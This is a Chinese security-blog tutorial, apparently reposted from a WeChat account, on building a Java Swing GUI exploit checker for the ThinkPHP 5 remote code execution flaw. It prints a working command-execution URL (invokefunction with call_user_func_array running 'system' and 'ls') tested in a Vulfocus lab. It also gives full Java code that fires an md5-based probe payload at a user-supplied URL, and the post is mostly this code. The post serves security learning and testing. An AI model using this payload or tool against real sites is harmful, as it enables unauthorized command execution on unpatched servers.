【java安全】java编写可视化 exp测试工具
2023-1-6 17:34:12 Author: moonsec(查看原文) 阅读量:21 收藏

【java安全】java编写可视化exp测试工具

大家好又是俺,暗月大徒弟,跟暗月大师傅苦学了半年,保持天天学习,顺便做点记录什么的。最近跟着月师傅学习了java编写exp的知识,写了一些简单的http请求脚本,但觉得不怎么好使,写成gui界面操作比较方便一些,随手学习了swing开发,弄个简单安全测试工具。

1界面设计

先上代码 代码里面有注释

package exp;
import javax.swing.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;

public class demo2 {
public static void main(String[] args) throws Exception{
//设置和创建窗体 填写标题
JFrame frame = new JFrame("暗月大徒弟 thinkphp5 rce 师承暗月");
//设置位置和大小
frame.setBounds(500,500,500,500);

//清空布局管理器
frame.setLayout(null);
//创建按钮
JButton button = new JButton("确定");
//创建文本
JTextField jTextField = new JTextField();
//创建文本域
JTextArea jTextArea = new JTextArea();
//设置自动换行
jTextArea.setLineWrap(true);
//设置位置大小
jTextArea.setBounds(10,100,440,320);
button.setBounds(350,10,100,50);
//创建网址标签
JLabel jLabel = new JLabel("网址:");
//创建信息标签
JLabel mJlbel = new JLabel("信息:");
//各个标签的位置
jLabel.setBounds(10,10,150,50);
mJlbel.setBounds(10,50,150,50);
jTextField.setBounds(80,10,270,50);
//将组件全部添加到框体内
frame.add(button);
frame.add(jTextField);
frame.add(jLabel);
frame.add(mJlbel);
frame.add(jTextArea);
// frame.setSize(500,450);
frame.setVisible(true);//设置可视化
//设置窗体关闭时,自动退出程序
frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
//设置按钮监听事件 单击时候操
button.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
String text = jTextField.getText(); //获取文本内容
jTextArea.setText("");
try {
jTextArea.setText(HttpGet(text)); //将http求得结果添加到文本域内
} catch (Exception ex) {
ex.printStackTrace();
}

}
});

}
public static String HttpGet(String url) throws Exception{
String content=null;
return content;
}
}

main主函数 里面创建窗体和创建按钮 文本框、文本域 、标签、和按钮等组件的创建和布局。编译如图

逐渐有那个味道了。接着将exploit这个函数里面的功能实现即可。这里选择thinphp5的rce漏洞作为测试对象。

2测试过程

首先在pom.xml 添加 http-request

        <dependency>
<groupId>com.github.kevinsawicki</groupId>
<artifactId>http-request</artifactId>
<version>5.6</version>
</dependency>

使用vulfoucs创建一个漏洞场景再进行漏洞语句测试 存在漏洞

http://192.168.0.100:53705/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

上最终代码

package exp;

import com.github.kevinsawicki.http.HttpRequest;

import javax.swing.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;

public class demo2 {
public static void main(String[] args) throws Exception{
//设置和创建窗体 填写标题
JFrame frame = new JFrame("暗月大徒弟 thinkphp5 rce 师承暗月");
//设置位置和大小
frame.setBounds(500,500,500,500);

//清空布局管理器
frame.setLayout(null);
//创建按钮
JButton button = new JButton("确定");
//创建文本
JTextField jTextField = new JTextField();
//创建文本域
JTextArea jTextArea = new JTextArea();
//设置自动换行
jTextArea.setLineWrap(true);
//设置位置大小
jTextArea.setBounds(10,100,440,320);
button.setBounds(350,10,100,50);
//创建网址标签
JLabel jLabel = new JLabel("网址:");
//创建信息标签
JLabel mJlbel = new JLabel("信息:");
//各个标签的位置
jLabel.setBounds(10,10,150,50);
mJlbel.setBounds(10,50,150,50);
jTextField.setBounds(80,10,270,50);
//将组件全部添加到框体内
frame.add(button);
frame.add(jTextField);
frame.add(jLabel);
frame.add(mJlbel);
frame.add(jTextArea);
// frame.setSize(500,450);
frame.setVisible(true);//设置可视化
//设置窗体关闭时,自动退出程序
frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
//设置按钮监听事件 单击时候操
button.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
String text = jTextField.getText(); //获取文本内容
jTextArea.setText("");
try {
jTextArea.setText(result(text)); //将http求得结果添加到文本域内
} catch (Exception ex) {
ex.printStackTrace();
}

}
});

}

public static String result(String url){
String payload = "/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=1";
try {
if (vulTest(url,payload)==true){
return "存在漏洞 \n"+"测试语句: "+payload;
}
} catch (Exception e) {
e.printStackTrace();
}
return "不存在漏洞";
}

public static Boolean vulTest(String url,String payload) throws Exception{
String checkstr = "c4ca4238a0b923820dcc509a6f75849b"; //md5 检测值
HttpRequest req = HttpRequest.get(url+payload);
if( req.body().contains(checkstr)){
return true;

}
return false;
}
}

代码看起来 很简单 就是一个url请求 响应过来的网页是否存在md5(1)的值 c4ca4238a0b923820dcc509a6f75849b 如果存在则存在漏洞。在把结果返回在文本域中。

如图

3打包jar

选择项目  -> 工件  ->从模块创建jar

选择resources这个路径

改个好听的名

构建工件即可

copy一个新的jar包 再进行测试 完全毛病

这样一个简单的可视化exp完成了(轻松的很)。下一篇写可视化exp批量小工具 欢迎关注。

最后要下载软件 在公众号回复 月师傅牛逼 下载此工具

4关注公众号

长期更新渗透测试、WEB安全、代码审计、红蓝对抗等安全技术


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMjc0NTEzMw==&mid=2653586368&idx=1&sn=b2e010e2a7c84414b3114f93750084e9&chksm=811b9582b66c1c94861c9df6bfe6efb413e3df0552eb3bfca03a40bd9080c102cab8da58e372#rd
如有侵权请联系:admin#unsafe.sh